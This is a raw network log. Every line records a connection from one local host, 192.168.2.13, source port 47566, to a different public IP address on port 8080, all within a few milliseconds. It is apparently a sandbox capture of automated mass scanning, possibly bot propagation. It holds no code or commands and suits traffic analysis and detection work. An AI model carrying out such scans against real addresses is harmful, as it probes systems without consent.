Jan 26, 2025 01:43:29.670783043 CET	47566	8080	192.168.2.13	95.241.218.188
Jan 26, 2025 01:43:29.670783043 CET	47566	8080	192.168.2.13	95.222.120.36
Jan 26, 2025 01:43:29.670785904 CET	47566	8080	192.168.2.13	95.67.56.162
Jan 26, 2025 01:43:29.670785904 CET	47566	8080	192.168.2.13	94.124.186.82
Jan 26, 2025 01:43:29.670785904 CET	47566	8080	192.168.2.13	31.118.72.24
Jan 26, 2025 01:43:29.670785904 CET	47566	8080	192.168.2.13	62.8.157.116
Jan 26, 2025 01:43:29.670799017 CET	47566	8080	192.168.2.13	95.116.124.168
Jan 26, 2025 01:43:29.670799017 CET	47566	8080	192.168.2.13	31.12.228.181
Jan 26, 2025 01:43:29.670799017 CET	47566	8080	192.168.2.13	31.227.75.220
Jan 26, 2025 01:43:29.670799971 CET	47566	8080	192.168.2.13	62.11.137.137
Jan 26, 2025 01:43:29.670799017 CET	47566	8080	192.168.2.13	62.181.31.63
Jan 26, 2025 01:43:29.670800924 CET	47566	8080	192.168.2.13	95.2.28.4
Jan 26, 2025 01:43:29.670800924 CET	47566	8080	192.168.2.13	94.64.17.15
Jan 26, 2025 01:43:29.670802116 CET	47566	8080	192.168.2.13	31.96.60.86
Jan 26, 2025 01:43:29.670800924 CET	47566	8080	192.168.2.13	85.243.69.106
Jan 26, 2025 01:43:29.670802116 CET	47566	8080	192.168.2.13	62.218.241.254
Jan 26, 2025 01:43:29.670802116 CET	47566	8080	192.168.2.13	95.25.160.108
Jan 26, 2025 01:43:29.670802116 CET	47566	8080	192.168.2.13	95.210.161.36
Jan 26, 2025 01:43:29.670810938 CET	47566	8080	192.168.2.13	62.239.195.88
Jan 26, 2025 01:43:29.670816898 CET	47566	8080	192.168.2.13	85.65.84.92
Jan 26, 2025 01:43:29.670816898 CET	47566	8080	192.168.2.13	94.129.192.191
Jan 26, 2025 01:43:29.670816898 CET	47566	8080	192.168.2.13	62.228.45.172
Jan 26, 2025 01:43:29.670820951 CET	47566	8080	192.168.2.13	62.121.59.222
Jan 26, 2025 01:43:29.670820951 CET	47566	8080	192.168.2.13	95.104.250.159
Jan 26, 2025 01:43:29.670835018 CET	47566	8080	192.168.2.13	95.26.2.15
Jan 26, 2025 01:43:29.670840025 CET	47566	8080	192.168.2.13	94.204.11.236
Jan 26, 2025 01:43:29.670840025 CET	47566	8080	192.168.2.13	95.192.55.72
Jan 26, 2025 01:43:29.670845032 CET	47566	8080	192.168.2.13	31.192.133.214
Jan 26, 2025 01:43:29.670845032 CET	47566	8080	192.168.2.13	94.217.35.140
Jan 26, 2025 01:43:29.670845032 CET	47566	8080	192.168.2.13	85.224.96.150
Jan 26, 2025 01:43:29.670845985 CET	47566	8080	192.168.2.13	95.224.186.189
Jan 26, 2025 01:43:29.670846939 CET	47566	8080	192.168.2.13	95.31.184.235
Jan 26, 2025 01:43:29.670845985 CET	47566	8080	192.168.2.13	95.150.174.55
Jan 26, 2025 01:43:29.670845985 CET	47566	8080	192.168.2.13	95.125.247.170
Jan 26, 2025 01:43:29.670850039 CET	47566	8080	192.168.2.13	85.251.61.162
Jan 26, 2025 01:43:29.670857906 CET	47566	8080	192.168.2.13	31.114.77.56
Jan 26, 2025 01:43:29.670859098 CET	47566	8080	192.168.2.13	85.50.3.138
Jan 26, 2025 01:43:29.670870066 CET	47566	8080	192.168.2.13	31.113.74.251
Jan 26, 2025 01:43:29.670890093 CET	47566	8080	192.168.2.13	95.234.19.241
Jan 26, 2025 01:43:29.670891047 CET	47566	8080	192.168.2.13	85.105.229.32
Jan 26, 2025 01:43:29.670892000 CET	47566	8080	192.168.2.13	62.20.141.9
Jan 26, 2025 01:43:29.670901060 CET	47566	8080	192.168.2.13	94.48.123.79
Jan 26, 2025 01:43:29.670911074 CET	47566	8080	192.168.2.13	85.69.54.70
Jan 26, 2025 01:43:29.670912981 CET	47566	8080	192.168.2.13	95.121.127.222
Jan 26, 2025 01:43:29.670913935 CET	47566	8080	192.168.2.13	31.213.124.160
Jan 26, 2025 01:43:29.670913935 CET	47566	8080	192.168.2.13	94.142.138.96
Jan 26, 2025 01:43:29.670919895 CET	47566	8080	192.168.2.13	94.220.13.58
Jan 26, 2025 01:43:29.670932055 CET	47566	8080	192.168.2.13	85.138.52.115
Jan 26, 2025 01:43:29.670938015 CET	47566	8080	192.168.2.13	94.244.236.193
Jan 26, 2025 01:43:29.670947075 CET	47566	8080	192.168.2.13	94.116.147.49
Jan 26, 2025 01:43:29.670948982 CET	47566	8080	192.168.2.13	85.56.94.70
Jan 26, 2025 01:43:29.671019077 CET	47566	8080	192.168.2.13	31.41.111.233
Jan 26, 2025 01:43:29.671019077 CET	47566	8080	192.168.2.13	62.194.101.204
Jan 26, 2025 01:43:29.671029091 CET	47566	8080	192.168.2.13	85.199.235.142
Jan 26, 2025 01:43:29.671030998 CET	47566	8080	192.168.2.13	85.249.177.45
Jan 26, 2025 01:43:29.671031952 CET	47566	8080	192.168.2.13	94.45.209.46
Jan 26, 2025 01:43:29.671031952 CET	47566	8080	192.168.2.13	31.211.225.133
Jan 26, 2025 01:43:29.671032906 CET	47566	8080	192.168.2.13	95.64.182.236
Jan 26, 2025 01:43:29.671034098 CET	47566	8080	192.168.2.13	62.240.92.77
Jan 26, 2025 01:43:29.671034098 CET	47566	8080	192.168.2.13	31.170.144.230
Jan 26, 2025 01:43:29.671034098 CET	47566	8080	192.168.2.13	31.194.60.141
Jan 26, 2025 01:43:29.671035051 CET	47566	8080	192.168.2.13	85.84.236.254
Jan 26, 2025 01:43:29.671035051 CET	47566	8080	192.168.2.13	95.105.105.34
Jan 26, 2025 01:43:29.671036959 CET	47566	8080	192.168.2.13	95.67.120.208
Jan 26, 2025 01:43:29.671040058 CET	47566	8080	192.168.2.13	85.170.100.249
Jan 26, 2025 01:43:29.671046019 CET	47566	8080	192.168.2.13	94.202.11.67
Jan 26, 2025 01:43:29.671052933 CET	47566	8080	192.168.2.13	31.89.122.105
Jan 26, 2025 01:43:29.671057940 CET	47566	8080	192.168.2.13	94.98.98.234
Jan 26, 2025 01:43:29.671060085 CET	47566	8080	192.168.2.13	62.18.79.42
Jan 26, 2025 01:43:29.671073914 CET	47566	8080	192.168.2.13	94.36.100.207
Jan 26, 2025 01:43:29.671073914 CET	47566	8080	192.168.2.13	62.98.18.63
Jan 26, 2025 01:43:29.671094894 CET	47566	8080	192.168.2.13	31.195.142.132
Jan 26, 2025 01:43:29.671094894 CET	47566	8080	192.168.2.13	85.0.74.247
Jan 26, 2025 01:43:29.671094894 CET	47566	8080	192.168.2.13	95.159.17.131
Jan 26, 2025 01:43:29.671094894 CET	47566	8080	192.168.2.13	62.89.114.122
Jan 26, 2025 01:43:29.671112061 CET	47566	8080	192.168.2.13	62.127.45.209
Jan 26, 2025 01:43:29.671112061 CET	47566	8080	192.168.2.13	94.188.252.99
Jan 26, 2025 01:43:29.671119928 CET	47566	8080	192.168.2.13	95.146.179.177
Jan 26, 2025 01:43:29.671124935 CET	47566	8080	192.168.2.13	94.79.168.90
Jan 26, 2025 01:43:29.671137094 CET	47566	8080	192.168.2.13	94.110.195.238
Jan 26, 2025 01:43:29.671144962 CET	47566	8080	192.168.2.13	62.244.9.117
Jan 26, 2025 01:43:29.671197891 CET	47566	8080	192.168.2.13	62.123.146.3
Jan 26, 2025 01:43:29.671216011 CET	47566	8080	192.168.2.13	85.153.30.122
Jan 26, 2025 01:43:29.671219110 CET	47566	8080	192.168.2.13	94.231.127.178
Jan 26, 2025 01:43:29.671219110 CET	47566	8080	192.168.2.13	31.228.202.44
Jan 26, 2025 01:43:29.671219110 CET	47566	8080	192.168.2.13	31.225.10.114
Jan 26, 2025 01:43:29.671220064 CET	47566	8080	192.168.2.13	95.152.167.58
Jan 26, 2025 01:43:29.671220064 CET	47566	8080	192.168.2.13	31.16.46.172
Jan 26, 2025 01:43:29.671221018 CET	47566	8080	192.168.2.13	62.245.146.77
Jan 26, 2025 01:43:29.671225071 CET	47566	8080	192.168.2.13	85.58.13.188
Jan 26, 2025 01:43:29.671230078 CET	47566	8080	192.168.2.13	95.9.13.221
Jan 26, 2025 01:43:29.671231031 CET	47566	8080	192.168.2.13	85.116.128.104
Jan 26, 2025 01:43:29.671236992 CET	47566	8080	192.168.2.13	94.226.196.207
Jan 26, 2025 01:43:29.671248913 CET	47566	8080	192.168.2.13	62.98.11.50
Jan 26, 2025 01:43:29.671248913 CET	47566	8080	192.168.2.13	31.154.99.22
Jan 26, 2025 01:43:29.671262026 CET	47566	8080	192.168.2.13	85.38.220.187
Jan 26, 2025 01:43:29.671267986 CET	47566	8080	192.168.2.13	85.252.123.41
Jan 26, 2025 01:43:29.671268940 CET	47566	8080	192.168.2.13	94.133.95.115
Jan 26, 2025 01:43:29.671278954 CET	47566	8080	192.168.2.13	31.121.97.24
Jan 26, 2025 01:43:29.671278954 CET	47566	8080	192.168.2.13	95.126.24.147
Jan 26, 2025 01:43:29.671299934 CET	47566	8080	192.168.2.13	62.35.82.33
Jan 26, 2025 01:43:29.671322107 CET	47566	8080	192.168.2.13	95.122.16.230
Jan 26, 2025 01:43:29.671323061 CET	47566	8080	192.168.2.13	62.138.209.37
Jan 26, 2025 01:43:29.671324015 CET	47566	8080	192.168.2.13	94.207.102.137
Jan 26, 2025 01:43:29.671329021 CET	47566	8080	192.168.2.13	62.217.218.183
Jan 26, 2025 01:43:29.671329021 CET	47566	8080	192.168.2.13	95.163.59.146
Jan 26, 2025 01:43:29.671338081 CET	47566	8080	192.168.2.13	85.13.203.241
Jan 26, 2025 01:43:29.671345949 CET	47566	8080	192.168.2.13	94.73.72.116
Jan 26, 2025 01:43:29.671397924 CET	47566	8080	192.168.2.13	62.80.103.35
Jan 26, 2025 01:43:29.671401024 CET	47566	8080	192.168.2.13	95.246.140.82
Jan 26, 2025 01:43:29.671401024 CET	47566	8080	192.168.2.13	85.230.219.225
Jan 26, 2025 01:43:29.671401024 CET	47566	8080	192.168.2.13	95.112.56.24
Jan 26, 2025 01:43:29.671401978 CET	47566	8080	192.168.2.13	85.196.0.104
Jan 26, 2025 01:43:29.671401978 CET	47566	8080	192.168.2.13	85.223.18.190
Jan 26, 2025 01:43:29.671401978 CET	47566	8080	192.168.2.13	94.80.194.173
Jan 26, 2025 01:43:29.671401978 CET	47566	8080	192.168.2.13	95.248.89.70
Jan 26, 2025 01:43:29.671406031 CET	47566	8080	192.168.2.13	62.243.127.117
Jan 26, 2025 01:43:29.671406031 CET	47566	8080	192.168.2.13	62.7.233.19
Jan 26, 2025 01:43:29.671417952 CET	47566	8080	192.168.2.13	95.112.168.152
Jan 26, 2025 01:43:29.671417952 CET	47566	8080	192.168.2.13	85.194.71.78
Jan 26, 2025 01:43:29.671417952 CET	47566	8080	192.168.2.13	31.60.205.171
Jan 26, 2025 01:43:29.671420097 CET	47566	8080	192.168.2.13	94.232.154.78
Jan 26, 2025 01:43:29.671420097 CET	47566	8080	192.168.2.13	62.76.155.0
Jan 26, 2025 01:43:29.671420097 CET	47566	8080	192.168.2.13	31.173.200.138
Jan 26, 2025 01:43:29.671420097 CET	47566	8080	192.168.2.13	62.244.248.253
Jan 26, 2025 01:43:29.671420097 CET	47566	8080	192.168.2.13	94.104.231.153
Jan 26, 2025 01:43:29.671426058 CET	47566	8080	192.168.2.13	94.203.117.116
Jan 26, 2025 01:43:29.671430111 CET	47566	8080	192.168.2.13	85.167.148.117
Jan 26, 2025 01:43:29.671430111 CET	47566	8080	192.168.2.13	62.254.182.25
Jan 26, 2025 01:43:29.671431065 CET	47566	8080	192.168.2.13	85.119.6.144
Jan 26, 2025 01:43:29.671436071 CET	47566	8080	192.168.2.13	95.19.102.77
Jan 26, 2025 01:43:29.671442032 CET	47566	8080	192.168.2.13	94.59.80.105
Jan 26, 2025 01:43:29.671442032 CET	47566	8080	192.168.2.13	62.48.242.250
Jan 26, 2025 01:43:29.671474934 CET	47566	8080	192.168.2.13	31.162.29.39
Jan 26, 2025 01:43:29.671478987 CET	47566	8080	192.168.2.13	94.69.195.78
Jan 26, 2025 01:43:29.671479940 CET	47566	8080	192.168.2.13	85.132.99.107
Jan 26, 2025 01:43:29.671478987 CET	47566	8080	192.168.2.13	95.177.209.76
Jan 26, 2025 01:43:29.671479940 CET	47566	8080	192.168.2.13	85.157.19.184
Jan 26, 2025 01:43:29.671485901 CET	47566	8080	192.168.2.13	31.163.144.52
Jan 26, 2025 01:43:29.671487093 CET	47566	8080	192.168.2.13	31.234.2.55
Jan 26, 2025 01:43:29.671487093 CET	47566	8080	192.168.2.13	62.154.231.31
Jan 26, 2025 01:43:29.671494961 CET	47566	8080	192.168.2.13	31.138.213.84
Jan 26, 2025 01:43:29.671502113 CET	47566	8080	192.168.2.13	62.211.36.178
Jan 26, 2025 01:43:29.671504974 CET	47566	8080	192.168.2.13	62.7.184.174
Jan 26, 2025 01:43:29.671504974 CET	47566	8080	192.168.2.13	95.180.145.48
Jan 26, 2025 01:43:29.671519995 CET	47566	8080	192.168.2.13	31.249.47.242
Jan 26, 2025 01:43:29.671521902 CET	47566	8080	192.168.2.13	62.233.241.140
Jan 26, 2025 01:43:29.671524048 CET	47566	8080	192.168.2.13	94.250.174.201
Jan 26, 2025 01:43:29.671524048 CET	47566	8080	192.168.2.13	31.178.80.236
Jan 26, 2025 01:43:29.671536922 CET	47566	8080	192.168.2.13	85.169.156.134
Jan 26, 2025 01:43:29.671536922 CET	47566	8080	192.168.2.13	85.18.173.235
Jan 26, 2025 01:43:29.671552896 CET	47566	8080	192.168.2.13	85.116.48.161
Jan 26, 2025 01:43:29.671556950 CET	47566	8080	192.168.2.13	85.150.61.215
Jan 26, 2025 01:43:29.671557903 CET	47566	8080	192.168.2.13	62.78.216.122
Jan 26, 2025 01:43:29.671559095 CET	47566	8080	192.168.2.13	62.11.6.95
Jan 26, 2025 01:43:29.671571016 CET	47566	8080	192.168.2.13	31.132.135.236
Jan 26, 2025 01:43:29.671592951 CET	47566	8080	192.168.2.13	94.182.66.80
Jan 26, 2025 01:43:29.671616077 CET	47566	8080	192.168.2.13	85.28.44.59
Jan 26, 2025 01:43:29.671617985 CET	47566	8080	192.168.2.13	31.163.96.51
Jan 26, 2025 01:43:29.671652079 CET	47566	8080	192.168.2.13	95.134.172.91
Jan 26, 2025 01:43:29.671652079 CET	47566	8080	192.168.2.13	94.236.173.101
Jan 26, 2025 01:43:29.671658993 CET	47566	8080	192.168.2.13	85.132.57.246
Jan 26, 2025 01:43:29.671659946 CET	47566	8080	192.168.2.13	95.21.145.118
Jan 26, 2025 01:43:29.671659946 CET	47566	8080	192.168.2.13	94.90.16.147
Jan 26, 2025 01:43:29.671668053 CET	47566	8080	192.168.2.13	62.86.132.58
Jan 26, 2025 01:43:29.671668053 CET	47566	8080	192.168.2.13	31.96.165.91
Jan 26, 2025 01:43:29.671670914 CET	47566	8080	192.168.2.13	31.143.117.35
Jan 26, 2025 01:43:29.671670914 CET	47566	8080	192.168.2.13	94.73.236.43
Jan 26, 2025 01:43:29.671670914 CET	47566	8080	192.168.2.13	62.187.126.23
Jan 26, 2025 01:43:29.671670914 CET	47566	8080	192.168.2.13	31.211.203.133
Jan 26, 2025 01:43:29.671672106 CET	47566	8080	192.168.2.13	94.205.145.87
Jan 26, 2025 01:43:29.671670914 CET	47566	8080	192.168.2.13	95.78.149.98
Jan 26, 2025 01:43:29.671672106 CET	47566	8080	192.168.2.13	85.180.172.41
Jan 26, 2025 01:43:29.671675920 CET	47566	8080	192.168.2.13	85.127.235.254
Jan 26, 2025 01:43:29.671675920 CET	47566	8080	192.168.2.13	31.252.193.204
Jan 26, 2025 01:43:29.671675920 CET	47566	8080	192.168.2.13	94.235.10.122
Jan 26, 2025 01:43:29.671681881 CET	47566	8080	192.168.2.13	31.45.234.76
Jan 26, 2025 01:43:29.671681881 CET	47566	8080	192.168.2.13	94.158.181.60
Jan 26, 2025 01:43:29.671683073 CET	47566	8080	192.168.2.13	94.81.81.182
Jan 26, 2025 01:43:29.671683073 CET	47566	8080	192.168.2.13	31.175.182.209
Jan 26, 2025 01:43:29.671684980 CET	47566	8080	192.168.2.13	95.19.52.194
Jan 26, 2025 01:43:29.671691895 CET	47566	8080	192.168.2.13	85.106.208.16
Jan 26, 2025 01:43:29.671693087 CET	47566	8080	192.168.2.13	95.56.39.76
Jan 26, 2025 01:43:29.671693087 CET	47566	8080	192.168.2.13	85.137.39.81
Jan 26, 2025 01:43:29.671693087 CET	47566	8080	192.168.2.13	85.165.251.13
Jan 26, 2025 01:43:29.671699047 CET	47566	8080	192.168.2.13	85.62.220.161
Jan 26, 2025 01:43:29.671704054 CET	47566	8080	192.168.2.13	62.143.70.158
Jan 26, 2025 01:43:29.671705008 CET	47566	8080	192.168.2.13	94.139.134.193
Jan 26, 2025 01:43:29.671705008 CET	47566	8080	192.168.2.13	94.14.63.212
Jan 26, 2025 01:43:29.671705008 CET	47566	8080	192.168.2.13	94.224.14.171
Jan 26, 2025 01:43:29.671711922 CET	47566	8080	192.168.2.13	31.232.129.88
Jan 26, 2025 01:43:29.671719074 CET	47566	8080	192.168.2.13	62.204.49.79
Jan 26, 2025 01:43:29.671721935 CET	47566	8080	192.168.2.13	94.161.72.106
Jan 26, 2025 01:43:29.671727896 CET	47566	8080	192.168.2.13	85.85.61.183
Jan 26, 2025 01:43:29.671732903 CET	47566	8080	192.168.2.13	85.0.126.67
Jan 26, 2025 01:43:29.671737909 CET	47566	8080	192.168.2.13	85.186.223.237
Jan 26, 2025 01:43:29.671751022 CET	47566	8080	192.168.2.13	85.136.69.210
Jan 26, 2025 01:43:29.671756029 CET	47566	8080	192.168.2.13	62.12.68.166
Jan 26, 2025 01:43:29.671760082 CET	47566	8080	192.168.2.13	94.205.73.221
Jan 26, 2025 01:43:29.671776056 CET	47566	8080	192.168.2.13	94.232.19.179
Jan 26, 2025 01:43:29.671780109 CET	47566	8080	192.168.2.13	95.158.64.78
Jan 26, 2025 01:43:29.671780109 CET	47566	8080	192.168.2.13	94.146.23.94
Jan 26, 2025 01:43:29.671789885 CET	47566	8080	192.168.2.13	31.155.207.153
Jan 26, 2025 01:43:29.671803951 CET	47566	8080	192.168.2.13	85.98.217.185
Jan 26, 2025 01:43:29.671804905 CET	47566	8080	192.168.2.13	85.88.195.94
Jan 26, 2025 01:43:29.671811104 CET	47566	8080	192.168.2.13	95.74.171.242
Jan 26, 2025 01:43:29.671824932 CET	47566	8080	192.168.2.13	94.160.85.162
Jan 26, 2025 01:43:29.671829939 CET	47566	8080	192.168.2.13	62.119.68.152
Jan 26, 2025 01:43:29.671843052 CET	47566	8080	192.168.2.13	31.95.184.206
Jan 26, 2025 01:43:29.671859980 CET	47566	8080	192.168.2.13	85.214.66.161
Jan 26, 2025 01:43:29.671919107 CET	47566	8080	192.168.2.13	95.36.12.220
Jan 26, 2025 01:43:29.671919107 CET	47566	8080	192.168.2.13	62.20.210.208
Jan 26, 2025 01:43:29.671920061 CET	47566	8080	192.168.2.13	95.63.15.115
Jan 26, 2025 01:43:29.671921015 CET	47566	8080	192.168.2.13	85.106.241.106
Jan 26, 2025 01:43:29.671921015 CET	47566	8080	192.168.2.13	95.39.34.48
Jan 26, 2025 01:43:29.671922922 CET	47566	8080	192.168.2.13	62.116.64.65
Jan 26, 2025 01:43:29.671922922 CET	47566	8080	192.168.2.13	62.208.82.87
Jan 26, 2025 01:43:29.671922922 CET	47566	8080	192.168.2.13	85.141.213.98
Jan 26, 2025 01:43:29.671922922 CET	47566	8080	192.168.2.13	31.214.37.8
Jan 26, 2025 01:43:29.671922922 CET	47566	8080	192.168.2.13	31.146.100.156
Jan 26, 2025 01:43:29.671922922 CET	47566	8080	192.168.2.13	31.84.102.104
Jan 26, 2025 01:43:29.671922922 CET	47566	8080	192.168.2.13	95.146.236.250
Jan 26, 2025 01:43:29.671931982 CET	47566	8080	192.168.2.13	95.92.146.61
Jan 26, 2025 01:43:29.671931982 CET	47566	8080	192.168.2.13	85.40.61.14
Jan 26, 2025 01:43:29.671932936 CET	47566	8080	192.168.2.13	31.162.167.42
Jan 26, 2025 01:43:29.671932936 CET	47566	8080	192.168.2.13	85.255.174.38
Jan 26, 2025 01:43:29.671932936 CET	47566	8080	192.168.2.13	62.29.131.175
Jan 26, 2025 01:43:29.671936035 CET	47566	8080	192.168.2.13	95.99.121.28
Jan 26, 2025 01:43:29.671936035 CET	47566	8080	192.168.2.13	62.26.242.184
Jan 26, 2025 01:43:29.671945095 CET	47566	8080	192.168.2.13	95.212.168.40
Jan 26, 2025 01:43:29.671948910 CET	47566	8080	192.168.2.13	95.160.233.80
Jan 26, 2025 01:43:29.671956062 CET	47566	8080	192.168.2.13	95.36.84.191
Jan 26, 2025 01:43:29.671956062 CET	47566	8080	192.168.2.13	95.132.198.246
Jan 26, 2025 01:43:29.671972990 CET	47566	8080	192.168.2.13	95.133.51.160
Jan 26, 2025 01:43:29.671972990 CET	47566	8080	192.168.2.13	94.24.64.0
Jan 26, 2025 01:43:29.671976089 CET	47566	8080	192.168.2.13	31.8.137.24
Jan 26, 2025 01:43:29.671977043 CET	47566	8080	192.168.2.13	85.217.47.185
Jan 26, 2025 01:43:29.671981096 CET	47566	8080	192.168.2.13	62.193.139.12
Jan 26, 2025 01:43:29.671986103 CET	47566	8080	192.168.2.13	85.252.124.122
Jan 26, 2025 01:43:29.671986103 CET	47566	8080	192.168.2.13	95.237.184.62
Jan 26, 2025 01:43:29.671986103 CET	47566	8080	192.168.2.13	95.255.123.232
Jan 26, 2025 01:43:29.671986103 CET	47566	8080	192.168.2.13	95.152.116.228
Jan 26, 2025 01:43:29.671993017 CET	47566	8080	192.168.2.13	85.133.254.212
Jan 26, 2025 01:43:29.671993017 CET	47566	8080	192.168.2.13	94.221.68.202
Jan 26, 2025 01:43:29.672008991 CET	47566	8080	192.168.2.13	62.231.244.57
Jan 26, 2025 01:43:29.672013044 CET	47566	8080	192.168.2.13	31.130.227.222
Jan 26, 2025 01:43:29.672015905 CET	47566	8080	192.168.2.13	95.184.75.140
Jan 26, 2025 01:43:29.672028065 CET	47566	8080	192.168.2.13	85.111.83.254
Jan 26, 2025 01:43:29.672028065 CET	47566	8080	192.168.2.13	94.2.3.64
Jan 26, 2025 01:43:29.672039032 CET	47566	8080	192.168.2.13	95.51.235.107
Jan 26, 2025 01:43:29.672043085 CET	47566	8080	192.168.2.13	95.95.157.50
Jan 26, 2025 01:43:29.672049999 CET	47566	8080	192.168.2.13	95.182.105.54
Jan 26, 2025 01:43:29.672122002 CET	47566	8080	192.168.2.13	94.162.88.74
Jan 26, 2025 01:43:29.672122002 CET	47566	8080	192.168.2.13	95.130.120.185
Jan 26, 2025 01:43:29.672122002 CET	47566	8080	192.168.2.13	95.104.197.45
Jan 26, 2025 01:43:29.672127962 CET	47566	8080	192.168.2.13	31.253.0.19
Jan 26, 2025 01:43:29.672127962 CET	47566	8080	192.168.2.13	94.228.243.61
Jan 26, 2025 01:43:29.672127962 CET	47566	8080	192.168.2.13	31.85.18.12
Jan 26, 2025 01:43:29.672131062 CET	47566	8080	192.168.2.13	31.186.233.34
Jan 26, 2025 01:43:29.672131062 CET	47566	8080	192.168.2.13	85.57.174.159
Jan 26, 2025 01:43:29.672131062 CET	47566	8080	192.168.2.13	95.114.18.5
Jan 26, 2025 01:43:29.672133923 CET	47566	8080	192.168.2.13	62.71.69.106
Jan 26, 2025 01:43:29.672133923 CET	47566	8080	192.168.2.13	94.207.212.139
Jan 26, 2025 01:43:29.672135115 CET	47566	8080	192.168.2.13	95.48.180.73
Jan 26, 2025 01:43:29.672133923 CET	47566	8080	192.168.2.13	94.137.10.44
Jan 26, 2025 01:43:29.672133923 CET	47566	8080	192.168.2.13	62.11.103.248
Jan 26, 2025 01:43:29.672135115 CET	47566	8080	192.168.2.13	31.91.196.9
Jan 26, 2025 01:43:29.672133923 CET	47566	8080	192.168.2.13	62.228.35.33
Jan 26, 2025 01:43:29.672135115 CET	47566	8080	192.168.2.13	31.255.1.161
Jan 26, 2025 01:43:29.672133923 CET	47566	8080	192.168.2.13	85.213.197.47
Jan 26, 2025 01:43:29.672135115 CET	47566	8080	192.168.2.13	95.116.93.76
Jan 26, 2025 01:43:29.672133923 CET	47566	8080	192.168.2.13	95.94.74.205
Jan 26, 2025 01:43:29.672143936 CET	47566	8080	192.168.2.13	85.34.179.142
Jan 26, 2025 01:43:29.672143936 CET	47566	8080	192.168.2.13	94.151.176.34
Jan 26, 2025 01:43:29.672143936 CET	47566	8080	192.168.2.13	85.168.172.74
Jan 26, 2025 01:43:29.672154903 CET	47566	8080	192.168.2.13	62.21.135.39
Jan 26, 2025 01:43:29.672154903 CET	47566	8080	192.168.2.13	31.174.188.111
Jan 26, 2025 01:43:29.672161102 CET	47566	8080	192.168.2.13	85.122.200.30
Jan 26, 2025 01:43:29.672161102 CET	47566	8080	192.168.2.13	94.1.190.173
Jan 26, 2025 01:43:29.672161102 CET	47566	8080	192.168.2.13	62.246.164.222
Jan 26, 2025 01:43:29.672163010 CET	47566	8080	192.168.2.13	31.209.92.189
Jan 26, 2025 01:43:29.672163010 CET	47566	8080	192.168.2.13	94.67.96.135
Jan 26, 2025 01:43:29.672163010 CET	47566	8080	192.168.2.13	94.95.69.198
Jan 26, 2025 01:43:29.672179937 CET	47566	8080	192.168.2.13	95.28.118.47
Jan 26, 2025 01:43:29.672184944 CET	47566	8080	192.168.2.13	31.111.19.57
Jan 26, 2025 01:43:29.672184944 CET	47566	8080	192.168.2.13	85.18.251.250
Jan 26, 2025 01:43:29.672188997 CET	47566	8080	192.168.2.13	95.74.60.32
Jan 26, 2025 01:43:29.672188997 CET	47566	8080	192.168.2.13	85.14.39.157
Jan 26, 2025 01:43:29.672188997 CET	47566	8080	192.168.2.13	62.84.118.121
Jan 26, 2025 01:43:29.672188997 CET	47566	8080	192.168.2.13	31.31.251.145
Jan 26, 2025 01:43:29.672188997 CET	47566	8080	192.168.2.13	85.183.238.200
Jan 26, 2025 01:43:29.672195911 CET	47566	8080	192.168.2.13	85.80.101.44
Jan 26, 2025 01:43:29.672195911 CET	47566	8080	192.168.2.13	94.7.131.192
Jan 26, 2025 01:43:29.672199965 CET	47566	8080	192.168.2.13	31.219.242.193
Jan 26, 2025 01:43:29.672205925 CET	47566	8080	192.168.2.13	85.206.63.159
Jan 26, 2025 01:43:29.672225952 CET	47566	8080	192.168.2.13	95.138.241.166
Jan 26, 2025 01:43:29.672228098 CET	47566	8080	192.168.2.13	31.227.123.131
Jan 26, 2025 01:43:29.672235966 CET	47566	8080	192.168.2.13	94.201.12.120
Jan 26, 2025 01:43:29.672247887 CET	47566	8080	192.168.2.13	62.153.102.198
Jan 26, 2025 01:43:29.672247887 CET	47566	8080	192.168.2.13	31.66.21.250
Jan 26, 2025 01:43:29.672247887 CET	47566	8080	192.168.2.13	85.188.22.216
Jan 26, 2025 01:43:29.672247887 CET	47566	8080	192.168.2.13	85.220.197.99
Jan 26, 2025 01:43:29.672247887 CET	47566	8080	192.168.2.13	85.159.107.95
Jan 26, 2025 01:43:29.672247887 CET	47566	8080	192.168.2.13	85.107.165.135
Jan 26, 2025 01:43:29.672247887 CET	47566	8080	192.168.2.13	94.91.80.108
Jan 26, 2025 01:43:29.672249079 CET	47566	8080	192.168.2.13	95.78.5.184
Jan 26, 2025 01:43:29.672252893 CET	47566	8080	192.168.2.13	62.171.183.1
Jan 26, 2025 01:43:29.672255993 CET	47566	8080	192.168.2.13	85.233.75.133
Jan 26, 2025 01:43:29.672256947 CET	47566	8080	192.168.2.13	85.234.170.71
Jan 26, 2025 01:43:29.672256947 CET	47566	8080	192.168.2.13	31.53.171.246
Jan 26, 2025 01:43:29.672269106 CET	47566	8080	192.168.2.13	95.82.0.199
Jan 26, 2025 01:43:29.672274113 CET	47566	8080	192.168.2.13	31.0.247.226
Jan 26, 2025 01:43:29.672286034 CET	47566	8080	192.168.2.13	94.19.13.169
Jan 26, 2025 01:43:29.672287941 CET	47566	8080	192.168.2.13	95.179.147.74
Jan 26, 2025 01:43:29.672297001 CET	47566	8080	192.168.2.13	85.241.62.222
Jan 26, 2025 01:43:29.672307014 CET	47566	8080	192.168.2.13	31.196.0.154
Jan 26, 2025 01:43:29.672308922 CET	47566	8080	192.168.2.13	85.217.99.195
Jan 26, 2025 01:43:29.672308922 CET	47566	8080	192.168.2.13	94.132.158.84
Jan 26, 2025 01:43:29.672312021 CET	47566	8080	192.168.2.13	94.209.14.79
Jan 26, 2025 01:43:29.672328949 CET	47566	8080	192.168.2.13	62.36.202.72
Jan 26, 2025 01:43:29.672332048 CET	47566	8080	192.168.2.13	85.226.123.8
Jan 26, 2025 01:43:29.672343969 CET	47566	8080	192.168.2.13	62.165.78.30
Jan 26, 2025 01:43:29.672353983 CET	47566	8080	192.168.2.13	31.188.206.36
Jan 26, 2025 01:43:29.672358036 CET	47566	8080	192.168.2.13	62.127.204.174
Jan 26, 2025 01:43:29.672374010 CET	47566	8080	192.168.2.13	31.160.255.185
Jan 26, 2025 01:43:29.672380924 CET	47566	8080	192.168.2.13	94.107.175.136
Jan 26, 2025 01:43:29.672384024 CET	47566	8080	192.168.2.13	31.191.128.1
Jan 26, 2025 01:43:29.672406912 CET	47566	8080	192.168.2.13	95.133.160.46
Jan 26, 2025 01:43:29.672477961 CET	47566	8080	192.168.2.13	62.69.124.126
Jan 26, 2025 01:43:29.672477961 CET	47566	8080	192.168.2.13	62.213.224.49
Jan 26, 2025 01:43:29.672477961 CET	47566	8080	192.168.2.13	62.141.77.83
Jan 26, 2025 01:43:29.672482014 CET	47566	8080	192.168.2.13	31.82.121.18
Jan 26, 2025 01:43:29.672482014 CET	47566	8080	192.168.2.13	31.236.162.106
